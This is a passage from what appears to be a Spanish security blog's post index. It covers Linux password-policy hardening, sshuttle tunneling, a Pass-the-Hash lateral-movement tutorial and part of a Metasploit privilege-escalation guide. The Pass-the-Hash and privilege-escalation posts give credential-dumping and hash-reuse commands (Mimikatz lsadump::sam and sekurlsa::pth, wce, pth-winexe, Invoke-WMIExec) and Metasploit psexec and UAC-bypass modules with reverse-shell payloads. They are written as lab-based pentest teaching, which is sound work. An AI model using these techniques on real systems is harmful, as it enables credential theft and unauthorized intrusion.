la cuenta tras X días de inactividad desde la fecha de caducidad -l --list Muestra la información de la edad de la cuenta -m --mindays Establece el número mínimo de días antes de cambiar la contraseña -M --maxdays Establece el número máximo de días antes de cambiar la contraseña -R --root Directorio en el que hacer chroot -W --warndays Establece los días de aviso de expiración Con el parámetro -l podemos ver información sobre las cuentas. # chage -l pepe Last password change : Apr 18, 2020 Password expires : never Password inactive : never Account expires : never Minimum number of days between password change : 0 Maximum number of days between password change : 90 Number of days of warning before password expires : 5 Más información sobre el comando chage: https://linux.die.net/man/1/chage Cumplimiento de directivas de seguridad en la calidad de contraseñas seguras de usuarios Link to heading Al igual que en sistemas Windows es necesario implementar un mínimo cumplimiento de seguridad en el hardening de contraseñas estableciendo directivas a nivel de dominio para definir la complejidad de contraseña, longitud mínima, días de expiración, contraseñas no repetidas respecto a las anteriores, etc. En sistemas Linux, aplicaciones de terceros o servicios exógenos que hacen uso de usuarios Linux, también es necesario establecer políticas de seguridad estrictas al tratarse de cuentas que pueden tener el mismo riesgo de ser vulneradas y poder pivotar a otros sistemas que sean de un mayor interés para los atacantes. Lógicamente también dependerá de la infraestructura y su ecosistema. En entornos de producción no sería conveniente provocar la desactivación o bloqueo de una cuenta de usuario y dejar inoperativo un servicio crítico que dependa de dicha cuenta. Independientemente de estos casos es recomendable y diría que necesario establecer este tipo de criterios para garantizar y elevar un poco más las medidas de seguridad de los sistemas de la empresa. Se pueden establecer políticas por defecto en el momento de creación de nuevas cuentas en el sistema, sin la necesidad de usar chage nominalmente a cada usuario como vimos anteriormente. login.defs Link to heading Se trata de un fichero de texto situado en /etc/login.defs de forma nativa se encuentra en cualquier entorno Linux. Se definen las políticas de gestión de contraseñas para la creación de nuevos usuarios. También podemos establecer otras directivas como el valor umask por defecto, si el usuario tendrá un home para él si no se le especifica en su creación (useradd -m), cambiar la secuencia de ID (por defecto suelen ser 1000 y algo para usuarios normales), mensaje de bienvenida del inicio de sesión del usuario (motd_file), etc. El motivo de este artículo será enfocado únicamente a las que tengan que ver con las políticas de contraseñas. Algunas de las directivas más comunes que podemos establecer: Directiva Descripción PASS_MAX_DAYS Número máximo de días que se puede usar una contraseña PASS_MIN_DAYS Número mínimo de días permitido entre cambios de contraseña PASS_WARN_AGE Número de días de advertencia antes de que caduque una contraseña PASS_MIN_LEN / PASS_MAX_LEN Número mínimo y máximo de caracteres que debe tener la contraseña PASS_ALWAYS_WARN Advierte sobre contraseñas débiles PASS_CHANGE_TRIES Número máximo de intentos de cambiar la contraseña si se rechaza por ser demasiado \u0026ldquo;fácil\u0026rdquo; ENCRYPT_METHOD Tipo de cifrado de la contraseña (SHA256 $5$ o SHA512 $6$) LOGIN_RETRIES Número máximo de reintentos de inicio de sesión si la contraseña es incorrecta LOGIN_TIMEOUT Tiempo máximo en segundos para iniciar sesión Más información sobre login.defs: https://linux.die.net/man/5/login.defs pam_cracklib y pam_pwquality Link to heading Si queremos tener un mayor nivel de detalle en la personalización de las directivas en la complejidad de contraseñas para las cuentas de usuarios sería más interesante hacer uso de los módulos PAM (Pluggable Authentication Modules) pam_cracklib y pam_pwquality. pwquality es una versión más actual y mejorada de cracklib. pwquality llama a una rutina cracklib para verificar si la contraseña es parte de un diccionario si este se especifica en la directiva dictpath. En este caso haré referencia siempre a pam_pwquality. En entornos RHEL/Centos se incorpora de forma nativa, es compatible con derivados Debian pero será necesario instalarlo. sudo apt install -y libpam-cracklib libpam-pwquality libpwquality-tools Una vez instalado el módulo de libpwquality podemos editar sus opciones en el fichero /etc/security/pwquality.conf. Opciones para definir las políticas: Opción Descripción difok Caracteres en la nueva contraseña que no deben estar presentes en la anterior minlen Tamaño mínimo aceptable para la nueva contraseña dcredit Crédito máximo por tener dígitos en la nueva contraseña ucredit Crédito máximo por tener letras mayúsculas lcredit Crédito máximo por tener letras minúsculas ocredit Crédito máximo por tener otros caracteres minclass Número mínimo de clases de caracteres requeridas maxrepeat Número máximo de caracteres repetidos maxclassrepeat Número máximo de caracteres consecutivos en la misma clase gecoscheck Verifica si palabras (\u0026gt;3 caracteres) del campo GECOS del usuario están contenidas en la contraseña dictpath Ruta a los diccionarios de cracklib badwords Lista de palabras (separadas por espacios) que no deben incluirse en la contraseña Sistema de créditos, valores negativos y clases en pwquality Link to heading Créditos Link to heading Para definir la calidad y complejidad de las contraseñas se utiliza un sistema de créditos. Esto es muy interesante, básicamente se obtienen créditos por la complejidad. Una contraseña más corta podría ser aceptable si es más compleja en otras formas. Por ejemplo una contraseña \u0026ldquo;ahwouwtdye\u0026rdquo; podría pasar una prueba minlen = 10. Si dcredit se establece en 2, una contraseña \u0026ldquo;ahwouw12\u0026rdquo; pasaría la prueba porque obtendríamos 2 créditos por cada dígito, entonces 8 caracteres más 2 créditos se valoran como 10 caracteres. Esto dependerá de cómo se establezcan los parámetros ucredit, lcredit, dcredit y ocredit. Valores negativos Link to heading Establecer valores de créditos negativos significa que debe tener al menos ese tipo de carácter. Por ejemplo, establecer dcredit a -1 significaría que debe incluir al menos un dígito para que se acepte una contraseña. Es decir, no se trata de una suma de créditos sino de un requerimiento obligatorio. Clases (minclass) Link to heading Otra configuración interesante es minclass. Determina cuántas clases diferentes de caracteres se deben usar para que una contraseña sea aceptable. Hay 4 tipos de clases: minúsculas, mayúsculas, dígitos, caracteres especiales (símbolos o signos). Por ejemplo, un minclass = 2 exige que una contraseña contenga la combinación de dos tipos de clases. Ya sean mayúsculas o minúsculas, mayúsculas y caracteres especiales, minúsculas y dígitos, etc. Lo mismo pasaría si se establece a minclass = 4, la contraseña debería contener una combinación de las cuatro clases. También se puede establecer un límite al número máximo de caracteres de cualquier tipo de clase. Por ejemplo, con el parámetro maxclassrepeat = 4 indicamos que las contraseñas no pueden contener más de 4 minúsculas, mayúsculas, dígitos y otros caracteres especiales. Más información sobre el uso de directivas del fichero de pwquality: https://linux.die.net/man/8/pam_pwquality Probando el cumplimiento de requisitos con varias contraseñas. # passwd pepe Nueva contraseña: CONTRASEÑA INCORRECTA: La contraseña tiene menos de 8 caracteres. # passwd pepe Nueva contraseña: CONTRASEÑA INCORRECTA: La contraseña no supera la verificación de diccionario - No contiene suficientes caracteres DIFERENTES. # passwd pepe Nueva contraseña: CONTRASEÑA INCORRECTA: La contraseña no supera la verificación de diccionario - Es demasiado simple/sistemática. # passwd pepe Nueva contraseña: CONTRASEÑA INCORRECTA: La contraseña contiene más de 3 caracteres de la misma clase en forma consecutiva pwscore Link to heading pwquality (libpwquality-tools) dispone de una herramienta llamada pwscore que podemos usar para comprobar la complejidad de una contraseña en base a los criterios establecidos en pwquality. Algunos ejemplos de uso. # echo 123 | pwscore Falló la comprobación de calidad de la contraseña: La contraseña tiene menos de 8 caracteres # echo abc123.. | pwscore Falló la comprobación de calidad de la contraseña: La contraseña no supera la verificación de diccionario - Es demasiado simple/sistemática. # echo L3h5as/2a$-ls=72 | pwscore 100 Conclusiones Link to heading Estos módulos PAM también pueden comprobar si las contraseñas son un palíndromo o si solamente se cambió un solo carácter de mayúscula a minúscula o viceversa, si las contraseñas anteriores son similares o ya han sido usadas anteriormente, si contiene el nombre del usuario, o si hay alguna coincidencia con el campo passwd GECOS (campo de comentarios) de /etc/passwd. Dependiendo del nivel de complejidad que se establezca sería difícil establecerse una mala contraseña. En definitiva, ofrecen una serie de comprobaciones que ayudan a garantizar un nivel de robustez y calidad de las contraseñas. Así como en la mayoría de compañías se aplican para entornos Windows, intentar aplicar estas políticas de seguridad en sistemas Linux y que no habiten en el olvido. Saludos! "},{"title":"sshuttle: Múltiples túneles SSH y VPN (Proxy transparente)","url":"/posts/sshuttle-multiples-tuneles-ssh-y-vpn-proxy-transparente/","summary":"sshuttle. Se trata de un cliente SSH desarrollado en python que actúa como un proxy transparente funcionando como una VPN. No se trata de una VPN como definición, sshuttle crea de forma automática …","tags":["Pentesting","Red Team","Tunneling","SSH","VPN","Port Forwarding","Pivoting","Redes"],"date":"2020-04-02","content":"sshuttle. Se trata de un cliente SSH desarrollado en python que actúa como un proxy transparente funcionando como una VPN. No se trata de una VPN como definición, sshuttle crea de forma automática distintas reglas usando pfctl (pf - Packet Filter) o en su defecto iptables para un múltiple reenvío de puertos a través de una conexión tunelizada vía SSH. Ya comenté las diferencias entre los distintos tipos de túneles SSH. Esta aplicación nos abstrae de los detalles de realizar manualmente cada reenvío -port forwarding- a cada IP/Puerto hacia la red remota a la que queremos acceder. La funcionalidad es como si realmente estuviéramos utilizando una VPN pero canalizada por una única conexión SSH a través de un host de la red remota que hará de equipo puente realizando múltiples túneles de reenvío. Su principal desarrollador Brian May, la define como la VPN para el hombre pobre. Soporta tunelización de DNS redireccionando todo el tráfico DNS local a través de la conexión SSH al host remoto, como si estuviéramos utilizando las direcciones DNS de la red remota. Por lo que toda la navegación es como si la hiciésemos a través de la red remota a la que nos conectamos, algo similar a un -dynamic port forwarding- o Proxy SOCKS Si nos conectamos en una red wifi abierta o pública y queremos estar más seguros navegando y/o acceder a recursos internos de nuestra red doméstica sin necesidad de implementar o alquilar servicio VPN externo de terceros, esta aplicación es una muy buena solución. Es compatible con Linux y MacOS (Windows con cygwin instalado). Repositorio Github: https://github.com/sshuttle/sshuttle Docs: https://sshuttle.readthedocs.io/en/stable/ Instalar sshuttle Link to heading git clone https://github.com/sshuttle/sshuttle.git cd sshuttle sudo ./setup.py install En mi caso dispongo de una RaspberryPi con el servicio SSH expuesto a Internet en un puerto no estándar. Uso de sshuttle Link to heading sshuttle [-l [ip:]port] [-r [user@]sshserver[:port]] \u0026lt;subnets...\u0026gt; sshuttle -v --dns -r USUARIO@IP:PUERTO 192.168.0.0/24 La opción --dns indica el tunelizado de tráfico DNS. En el caso de MacOS usa reglas de filtrado de redirección con pf (pfctl). Ejemplo de autenticación con clave pública. MacOS:~ adrian$ sshuttle -v --dns -r USER@IP/DNS:PORT 10.0.0.0/24 Starting sshuttle proxy. firewall manager: Starting firewall with Python version 2.7.16 firewall manager: ready method name pf. IPv6 enabled: True UDP enabled: False DNS enabled: True User enabled: False TCP redirector listening on (\u0026#39;::1\u0026#39;, 12300, 0, 0). TCP redirector listening on (\u0026#39;127.0.0.1\u0026#39;, 12300). DNS listening on (\u0026#39;::1\u0026#39;, 12299, 0, 0). DNS listening on (\u0026#39;127.0.0.1\u0026#39;, 12299). Starting client with Python version 2.7.16 c : connecting to server... Starting server with Python version 3.6.9 s: latency control setting = True s: auto-nets:False c : Connected. firewall manager: setting up. \u0026gt;\u0026gt; pfctl -s Interfaces -i lo -v \u0026gt;\u0026gt; pfctl -s all \u0026gt;\u0026gt; pfctl -a sshuttle6-12300 -f /dev/stdin \u0026gt;\u0026gt; pfctl -E \u0026gt;\u0026gt; pfctl -s Interfaces -i lo -v \u0026gt;\u0026gt; pfctl -s all \u0026gt;\u0026gt; pfctl -a sshuttle-12300 -f /dev/stdin \u0026gt;\u0026gt; pfctl -E c : DNS request from (\u0026#39;10.0.0.16\u0026#39;, 51556) to None: 31 bytes En el caso de Ubuntu usa reglas de filtrado de redirección con iptables. Ejemplo de autenticación con password. adrian@ubuntu:~$ sshuttle -v --dns -r USER@DNS/IP:PORT 10.0.0.0/24 Starting sshuttle proxy. firewall manager: Starting firewall with Python version 3.6.9 firewall manager: ready method name nat. IPv6 enabled: False UDP enabled: False DNS enabled: True TCP redirector listening on (\u0026#39;127.0.0.1\u0026#39;, 12300). DNS listening on (\u0026#39;127.0.0.1\u0026#39;, 12300). Starting client with Python version 3.6.9 c : connecting to server... USER@DNS/IP\u0026#39;s password: Starting server with Python version 2.7.17 s: latency control setting = True s: available routes: c : Connected. s: 2/10.0.0.0/24 s: 2/172.17.0.0/16 s: 2/172.18.0.0/16 firewall manager: setting up. \u0026gt;\u0026gt; iptables -t nat -N sshuttle-12300 \u0026gt;\u0026gt; iptables -t nat -F sshuttle-12300 \u0026gt;\u0026gt; iptables -t nat -I OUTPUT 1 -j sshuttle-12300 \u0026gt;\u0026gt; iptables -t nat -I PREROUTING 1 -j sshuttle-12300 \u0026gt;\u0026gt; iptables -t nat -A sshuttle-12300 -j RETURN --dest 127.0.0.1/32 -p tcp \u0026gt;\u0026gt; iptables -t nat -A sshuttle-12300 -j REDIRECT --dest 10.0.0.0/24 -p tcp --to-ports 12300 -m ttl ! --ttl 42 \u0026gt;\u0026gt; iptables -t nat -A sshuttle-12300 -j REDIRECT --dest 127.0.0.53/32 -p udp --dport 53 --to-ports 12300 -m ttl ! --ttl 42 En el caso de Windows se complica el uso de esta herramienta. Se propone instalar una máquina virtual Linux en modo puente que haga la conexión con sshuttle y desde la máquina anfitrión Windows enrutar todo el tráfico hacia la máquina Linux. Info: https://sshuttle.readthedocs.io/en/stable/windows.html Saludos! "},{"title":"Post-explotación: movimiento lateral con Pass-the-Hash (PtH)","url":"/posts/post-explotacion-movimiento-lateral-pass-the-hash-pth/","summary":"En las fases de explotación de un pentest interno y dando continuidad al artículo de Explotación local: Escalada de privilegios de 0 a SYSTEM con Metasploit. Hoy quiero comentar diversas técnicas que …","tags":["Pentesting","Post-Explotación","Pass-the-Hash","Movimiento lateral","NTLM","MITRE ATT\u0026CK","Mimikatz","Metasploit","PsExec"],"date":"2020-03-19","content":"En las fases de explotación de un pentest interno y dando continuidad al artículo de Explotación local: Escalada de privilegios de 0 a SYSTEM con Metasploit. Hoy quiero comentar diversas técnicas que se pueden emplear para realizar movimiento lateral o también conocido como Pass the hash (PtH). ¿Qué es un movimiento lateral usando técnicas Pass the hash? Link to heading Movimiento lateral (pivoting) usando Pass the hash es una de las técnicas empleadas para pivotar de una máquina a otra. Una vez que se ha comprometido una máquina, hemos escalado privilegios y conseguimos realizar un volcado de hashes. Podemos utilizar estos hashes para autenticarse en otra máquina que tenga las mismas credenciales que la máquina origen. Concepto del \u0026ldquo;Principio de localidad\u0026rdquo; Link to heading En las organizaciones suele ser habitual que el usuario Administrador local u otro usuario que pertenece al grupo de Administradores locales utilice la misma contraseña para todas las máquinas de la empresa o departamento facilitando así el movimiento lateral entre máquinas con la misma cuenta de usuario. Esto se conoce como principio de localidad y suele ser así por motivo de facilitar la administración y gestión de las máquinas corporativas por parte de los departamentos de IT de las compañías. Precisamente por esta razón obtener la información de hashes NTLM es muy importante para un pentester porque nos ayudaría a movernos lateralmente pivotando por las máquinas de la organización intentando encontrar debilidades en otras máquinas. En el siguiente artículo mostraré varias técnicas de ejemplo en distintos escenarios para lograr el movimiento lateral a través de la obtención de un hash NTLM de un entorno Windows. WCE - Windows Credentials Editor Mimikatz (pth) Módulo Metasploit psexec/smb-pass PowerShell: Invoke-TheHash - Función Invoke-WMIExec WCE - Windows Credentials Editor Link to heading WCE o Windows Credentials Editor es una herramienta desarrollada por Amplia Security en la que podemos obtener un volcado de los hashes NTLM almacenados en memoria y usarlos para técnicas de Pass the hash. En el siguiente escenario existen dos máquinas: Windows 7: PCW7 - 10.0.0.7 Windows 10: PCW10 10.0.0.10 Tenemos acceso a la máquina Windows en la que tenemos privilegios pero no conocemos la contraseña en plano. Abrimos una consola e intentamos ejecutar una cmd remota al equipo Windows 10 usando psexec de la suite de PsTools. Como vemos en la captura de pantalla el acceso ha sido denegado, esto ocurre porque intenta autenticarse con usuario/password distintos al que inició el proceso de la cmd.exe. Con WCE acompañado del argumento -l se listan las sesiones de inicio de sesión y credenciales NTLM. En este caso admin:PCW7:LM:NT (user:hostname:hashLM:hashNT). Mimikatz: Volcado de hashes NTLM del fichero SAM Link to heading Para obtener el hash NTLM del usuario por defecto Administrador local usaremos Mimikatz para realizar un volcado de hashes del fichero SAM. Iniciamos Mimikatz, entramos en el modo privilegiado, impersonamos al usuario admin (que forma parte del grupo Administradores locales) para obtener el token de NT AUTHORITY/SYSTEM y poder realizar el volcado de hashes. mimikatz # privilege::debug mimikatz # token::elevate mimikatz # lsadump::sam Hay que tener en cuenta que si un usuario carece de contraseña, es decir, una password en blanco. Obtendremos un LM hash null: AAD3B435B51404EEAAD3B435B51404EE. Figura 1: WCE y Mimikatz - Listado de hashes NTLM de las sesiones actuales y volcado de hashes NTLM del fichero SAM. Una vez disponemos del hash NTLM del usuario Administrador, salimos de Mimikatz y ejecutamos WCE con el argumento -s para cambiar las credenciales NTLM de la sesión de inicio actual. Según la sintaxis del comando hay que completar el espacio del hash LM, bastará con rellenar su tamaño con números de valor 0 seguido del valor hash NT. wce.exe -s USER:WORKGROUP:LM:NT Una vez cambiado el hash para el usuario Administrador si volvemos a listar los usuarios de inicio de sesión con wce -l veremos dos inicios de sesión actuales almacenados, el usuario Admin y el nuevo usuario Administrador. Para comprobar su funcionalidad probaremos a conectarnos ejecutando una cmd remota a través de psexec este utilizará las credenciales almacenadas del usuario Administrador para autenticarse en el sistema remoto Windows 10. En la siguiente captura se puede ver como se creó un fichero de prueba C:\\pwned.txt en el disco local de la máquina remota Windows 10 (PCW10) donde solo podemos escribir si somos usuarios privilegiados. Figura 2: WCE - PoC the PtH y conexión con privilegios hacia el host remoto. Otra prueba interesante que podemos realizar es montar una unidad del disco local C:\\ del equipo remoto Windows 10 haciendo uso del recurso compartido por defecto C$. net use x: \\\\IP_remota\\c$ Donde x: sería una letra de asignación disponible para la unidad a montar. Si listamos la estructura de directorios (dir) podemos ver el fichero pwned.txt creado anteriormente y podremos eliminarlo, verificando así que seguimos teniendo privilegios de modificación en el disco C:. Figura 3: Autenticación con privilegios para montar como unidad el recurso compartido C$ de la máquina remota. Mimikatz Link to heading Con Mimikatz podemos realizar Pass the hash de una forma muy sencilla. Una vez obtenemos el hash NTLM y teniendo acceso físico o una shell remota hacia la máquina. Ejecutamos en la consola de Mimikatz lo siguiente: sekurlsa::pth /user:\u0026lt;USER\u0026gt; /ntlm:\u0026lt;HASH_NTLM\u0026gt; /domain:WORKGROUP Esto nos lanzará un nuevo proceso cmd.exe con el usuario que lo hayamos invocado (administrador como se puede ver en la screenshot). La máquina en la que se realiza la técnica es un equipo Windows 7 llamado PCW7. Con las pstools ejecutamos un psexec para intentar ejecutar una cmd en la máquina remota que será un Windows 10 llamado PCW10 (10.0.0.10). Vemos que conseguimos una sesión autenticándonos gracias al access token que hemos definido en Mimikatz para la ejecución de este proceso (cmd.exe). Si la contraseña del administrador local fuera otra y por lo tanto su hash NTLM, esta autenticación fallaría. Figura 4: Mimikatz (sekurlsa::pth) - Utilizando Pass the hash para autenticarse desde una máquina hacia otra remota. Metasploit (módulo psexec - SMB) Link to heading En Metasploit existe un módulo llamado exploit/windows/smb/psexec. El cual usa algo muy similar a la utilidad de comandos psexec de Sysinternals para poder autenticarse por medio del recurso compartido por defecto ADMIN$ de la máquina remota. Este recurso hace uso del protocolo SMB (Service Message Block) puerto 445. Después de autenticarse, ejecutará el Payload que le indiquemos. smbexec: https://sourceforge.net/projects/smbexec/ CVE-1999-0504: https://www.cvedetails.com/cve/CVE-1999-0504/ Antes de poner en práctica esta técnica de movimiento lateral, conseguimos desde otra máquina un movimiento vertical (escalada de privilegios) para realizar un volcado de hashes NTLM usando el módulo post/windows/gather/smart_hashdump indicando la sesión comprometida (el script hashdump que se utilizaba dentro de Meterpreter, actualmente se encuentra obsoleto). Figura 5: Metasploit - Volcado de hashes NTLM usando el módulo /post/windows/gather/smart_hashdump. Para la prueba de concepto se eliminarán las sesiones previas establecidas (sessions -K). Usamos el módulo tipo exploit exploit/windows/smb/psexec. En este módulo es necesario establecer el host remoto en el que queremos hacer target (RHOSTS víctima), el usuario local Administrador y su hash NTLM obtenidos anteriormente desde otra máquina. La sintaxis sería LM:NTLM podemos establecer un LM hash null (AAD3B435B51404EEAAD3B435B51404EE) seguido del NTLM hash. Establecemos un Payload tipo meterpreter/reverse_tcp, indicamos el host local donde obtendremos la shell inversa (la máquina Kali) y finalmente ejecutamos el exploit. Figura 6: Metasploit - PoC Pass the hash usando el módulo exploit/windows/smb/psexec. El módulo usará psexec para autenticarse a través del recurso compartido ADMIN$ ejecutando el payload definido, estableciendo una sesión como Administrador y finalmente obtener el token de \u0026ldquo;NT AUTHORITY/SYSTEM\u0026rdquo;. Figura 7: Metasploit - Exploit con éxito a través de la autenticación de recursos compartidos smb (PtH). PowerShell: Invoke-TheHash - Función Invoke-WMIExec Link to heading Otra técnica es empleando la función Invoke-WMIExec del repositorio de Github Invoke-TheHash desarrollada por Kevin Robertson. Es necesario desactivar la política de restricción de ejecución de scripts. \u0026ldquo;Set-ExecutionPolicy Unrestricted\u0026rdquo;. Una vez descargado el repositorio e importada la función \u0026ldquo;Invoke-WMIExec\u0026rdquo; en PowerShell, simplemente tendremos que indicar el hash NTLM, la IP remota destino, el usuario será el Administrador de la máquina y la instrucción del comando a ejecutar. Invoke-WMIExec -Hash \u0026lt;hash_NTLM\u0026gt; -Target \u0026lt;IP_remota\u0026gt; -Username Administrador -Command \u0026#34;\u0026lt;instrucción_comando_a_ejecutar\u0026gt;\u0026#34; En el siguiente escenario no solo realizamos un pass the hash desde la máquina Windows 10 a la máquina Windows 7 sino que también hacemos un movimiento vertical, escalada de privilegios, gracias al hash. Abriendo Powershell con un usuario distinto al cual después ejecutamos indicándole el hash a Invoke-WMIExec, que sería el Administrador local (RID = 500). Figura 8: PowerShell - Pass the hash usando la función Invoke-WMIExec. pth-winexe: Pass the hash winexe ejecutando un cmd Link to heading pth-winexe es parte de las utilidades que forman la suite de pth-toolkit. Se trata de un pequeño script sh que permite por ejemplo ejecutar un binario conociendo unas credenciales de acceso de una máquina remota que tenga el protocolo SMB a la escucha. Con el parámetro -U podemos indicarle el dominio o hostname, usuario, password o en su defecto el LM hash null (aad3b435b51404eeaad3b435b51404ee) seguido del NTLM hash indicando la IP de la máquina remota y un binario a ejecutar como puede ser un cmd.exe. pth-winexe -U \u0026lt;DOMAIN\u0026gt;/\u0026lt;USER\u0026gt;%\u0026lt;HASH_LM:HASH_NTLM\u0026gt; //\u0026lt;Remote_IP\u0026gt; cmd.exe En la siguiente captura se muestra un ejemplo de Pass the hash a una máquina Windows 10 en un contexto de integridad alta con un usuario administrador indicando su hash y ejecutando una cmd. Figura 9: pth-winexe - Pass the hash ejecutando un cmd. Saludos! "},{"title":"Explotación local: escalada de privilegios de 0 a SYSTEM con Metasploit","url":"/posts/explotacion-local-escalada-privilegios-system-metasploit/","summary":"A diferencia de la explotación directa o intrusión directa y client-side donde el objetivo es la ejecución de código en una máquina remota con la finalidad de comprometer su seguridad y conseguir una …","tags":["Pentesting","Hacking Ético","Post-Explotación","Escalada de privilegios","Bypass UAC","Metasploit","MITRE ATT\u0026CK"],"date":"2020-03-12","content":"A diferencia de la explotación directa o intrusión directa y client-side donde el objetivo es la ejecución de código en una máquina remota con la finalidad de comprometer su seguridad y conseguir una conexión hacia dicha máquina. En el contexto de Metasploit la explotación local tiene como objetivo el movimiento vertical que será la elevación o escalada de privilegios en una sesión previamente establecida en una máquina remota o directamente tenemos acceso físico a la máquina. Tipos de explotación: Explotación local Bypass UAC Con respecto a los usuarios de la máquina, nos podemos encontrar con 3 escenarios distintos: 1. Proceso en un contexto de integridad alto. Administrador (RID = 500) Link to heading Figura 1: Contexto de integridad alta. Será el propio Administrador SYSTEM. O un usuario que pertenece al grupo administradores pero ha ejecutado la aplicación como Administrador (botón derecho \u0026ldquo;Ejecutar como Administrador\u0026rdquo;). En cualquier caso ya estaríamos en una ejecución en un contexto de integridad alto. No hay una escalada de privilegios como tal pudiendo impersonar al usuario con el token de SYSTEM. 2. Proceso en un contexto de integridad medio. Usuario que pertenece al grupo Administradores (Bypass UAC) Link to heading Figura 2: Contexto de integridad medio. El usuario pertenece al grupo Administrador. Pero no ejecuta en un ámbito de Administrador (botón derecho \u0026ldquo;Ejecutar como Administrador\u0026rdquo;) sino que se ejecuta de forma normal, en un contexto de integridad medio, por defecto es así. Y tiene la configuración por defecto establecida del UAC (User Account Control). En este escenario podremos hacer uso de los Bypasses de UAC para elevar privilegios. 3. Proceso en un contexto de integridad bajo. Usuario sin ningún privilegio Link to heading Figura 3: Contexto de integridad bajo. El usuario pertenece al grupo de Usuarios locales o Invitado sin ningún tipo de privilegio, se ejecuta en un contexto de integridad bajo. Es el caso más complejo ya que habrá que buscar alguna configuración débil en servicios, vulnerabilidades en el propio sistema operativo (falta de la aplicación de parches de seguridad), drivers, software que se esté ejecutando con privilegios, etc., que nos permitan elevarnos a SYSTEM. Partiendo de la base de que ya disponemos de una sesión Meterpreter establecida en la máquina remota, expondré los diferentes escenarios comentados anteriormente. 1. Proceso en un contexto de integridad alto. Administrador (RID = 500) Link to heading En este caso disponemos del usuario Administrador SYSTEM el cual con la configuración por defecto de UAC ya ejecuta un proceso en integridad alto. Listamos los permisos actuales (getprivs). Ejecutamos una shell dentro de Meterpreter para identificar a qué grupo local pertenece. Figura 4: Obtención de privilegios del usuario Administrador. Vemos que ya forma parte del grupo de Administradores locales del sistema. En esta situación podemos impersonar al usuario Administrador con getsystem y así concederle el token de SYSTEM. Dejamos la sesión Meterpreter en segundo plano (background) y comprobamos que en la misma sesión el usuario ahora es NT AUTHORITY\\SYSTEM y no el Administrador que teníamos al principio. Figura 5: Impersonar al usuario Administrador local con getsystem para obtener el token de SYSTEM. 2. Proceso en contexto de integridad medio. Usuario que pertenece al grupo Administradores (Bypass UAC) Link to heading En este escenario hemos conseguido una sesión Meterpreter remota con un usuario del sistema local que pertenece al grupo Administradores locales y que ha ejecutado el proceso comprometido sin privilegios (botón derecho ejecutar como Administrador) pero tiene establecida la configuración por defecto del UAC, por lo tanto podemos probar diversas técnicas para realizar un bypass de UAC tipo Fileless o DLL Hijacking. Un bypass de UAC tipo fileless es más \u0026ldquo;silencioso\u0026rdquo; para los software de antimalware que pueda tener instalado el equipo ya que no realiza escritura en disco. Existen varios binarios nativos en Windows susceptibles a esta técnica, un ejemplo sería el \u0026ldquo;Bypass UAC Fileless usando AppPaths sdclt.exe\u0026rdquo;. Invocamos una shell dentro de la sesión y vemos que el usuario pertenece al grupo Administradores pero cuando listamos los privilegios (getprivs) vemos que son escasos donde el proceso se ejecutó en un nivel de integridad media y que efectivamente el proceso no se ejecutó como administrador. Intentamos impersonar al usuario \u0026ldquo;admin\u0026rdquo; sin éxito. No podemos obtener el token de NT AUTHORITY\\SYSTEM. Figura 6: Intento de impersonar a un usuario que pertenece al grupo administradores locales. Para la escalada de privilegios usaremos un bypass de UAC. Mediante el uso del editor de certificados de confianza se generará un proceso con el flag del UAC desactivado consiguiendo así un contexto de integridad alto. Esto dependerá de qué tipo de sistema operativo Windows se trate, no es lo mismo un Windows 7/8/8.1/10 ya que los casos de bypass de UAC fileless dependerá de la existencia de los binarios en según qué versiones. Salimos de la sesión dejándola en background. Usamos el módulo exploit/windows/local/bypassuac el cual hará un bypass UAC fileless (que afecta al editor de certificados de confianza) y establecemos los parámetros del host local (nuestra máquina Kali), la sesión meterpreter, el payload (código que se va a ejecutar) será un meterpreter reverse_tcp y lanzamos el exploit. Si se cumplen las condiciones de que la configuración del UAC está por defecto y el usuario comprometido pertenece al grupo Administradores, el exploit tendrá éxito. Se creará una nueva sesión y si listamos los privilegios veremos que ya disponemos de privilegios más altos. Figura 7: Obteniendo una sesión privilegiada con un Bypass de UAC tipo fileless. Ahora ya podemos impersonar al usuario para obtener el token de SYSTEM. Si dejamos la sesión en background y listamos las sesiones actuales veremos la existencia de dos sesiones establecidas. Una con el token del usuario inicial \u0026ldquo;admin\u0026rdquo; y otra con el token de NT AUTHORITY\\SYSTEM. Figura 8: getsystem - Impersonar nuevamente al usuario para conseguir el token de SYSTEM. Técnicas GETSYSTEM: Elevando privilegios con Meterpreter Link to heading Hay diversas técnicas utilizadas por Meterpreter para elevar privilegios de un administrador local a usuario SYSTEM. 1. Named Pipe Impersonation (In Memory/Admin) Generado el canal con la víctima, se crea y ejecuta un servicio mediante cmd.exe, generando una suplantación del cliente basada en el servicio de SYSTEM. 2. Named Pipe Impersonation (Dropper/Admin) A diferencia de la técnica 1, esta deja un archivo DLL en el disco y programa rundll32.exe como servicio para ejecutar el DLL como SYSTEM. 3. Token duplication (In Memory/Admin) Hace un barrido por los servicios abiertos en la búsqueda de alguno que pueda ser ejecutado como SYSTEM y que adicionalmente tenga permisos para inyectar código, se utiliza la inyección de DLL para ejecutar elevator.dll en la memoria del servicio encontrado. 3. Proceso en contexto de integridad bajo. Usuario sin ningún privilegio Link to heading Este escenario sería el más complejo en cuanto a escalada de privilegios, pasaremos de 0 a SYSTEM sin utilizar ninguna técnica de bypass de UAC. Hemos comprometido un equipo remoto y tenemos una sesión Meterpreter de un proceso ejecutado por un usuario regular o \u0026ldquo;raso\u0026rdquo; sin privilegios, que pertenece al grupo \u0026ldquo;Usuarios\u0026rdquo; locales, aunque también podría pertenecer al grupo \u0026ldquo;Invitados\u0026rdquo; siendo este último el más restrictivo en el sistema en cuanto a permisos. Deberemos encontrar alguna vulnerabilidad: Ya sea en el propio sistema operativo por falta de parcheo y carencia de algunas actualizaciones (será el que veremos en este ejemplo). Vulnerabilidades en los drivers instalados. Alguna aplicación que se esté ejecutando en un contexto privilegiado. Servicios vulnerables por malas configuraciones (rutas absolutas no entrecomilladas, se detallan algunos ejemplos al final del artículo). Desde un usuario no privilegiado listamos los permisos actuales (getprivs) y vemos que son muy limitados. Invocamos una shell para comprobar a qué grupo pertenece y vemos que forma parte del grupo Usuarios locales. Figura 9: Reconocimiento de permisos y pertenencia a grupos locales desde un usuario sin privilegios. Desde la misma shell ejecutamos el comando \u0026ldquo;systeminfo\u0026rdquo;. Nos mostrará varios detalles de interés, entre ellos las actualizaciones actuales instaladas en el sistema. En esta ocasión vemos que solo existe una sola KB instalada. Copiamos toda la info que nos devuelve este comando a un fichero texto plano. (En este ejemplo se guardó en la máquina Kali en la ruta /root/systeminfo27). Figura 10: Comprobar las actualizaciones instaladas con systeminfo. Existe un script en python llamado Windows Exploit Suggester con el cual 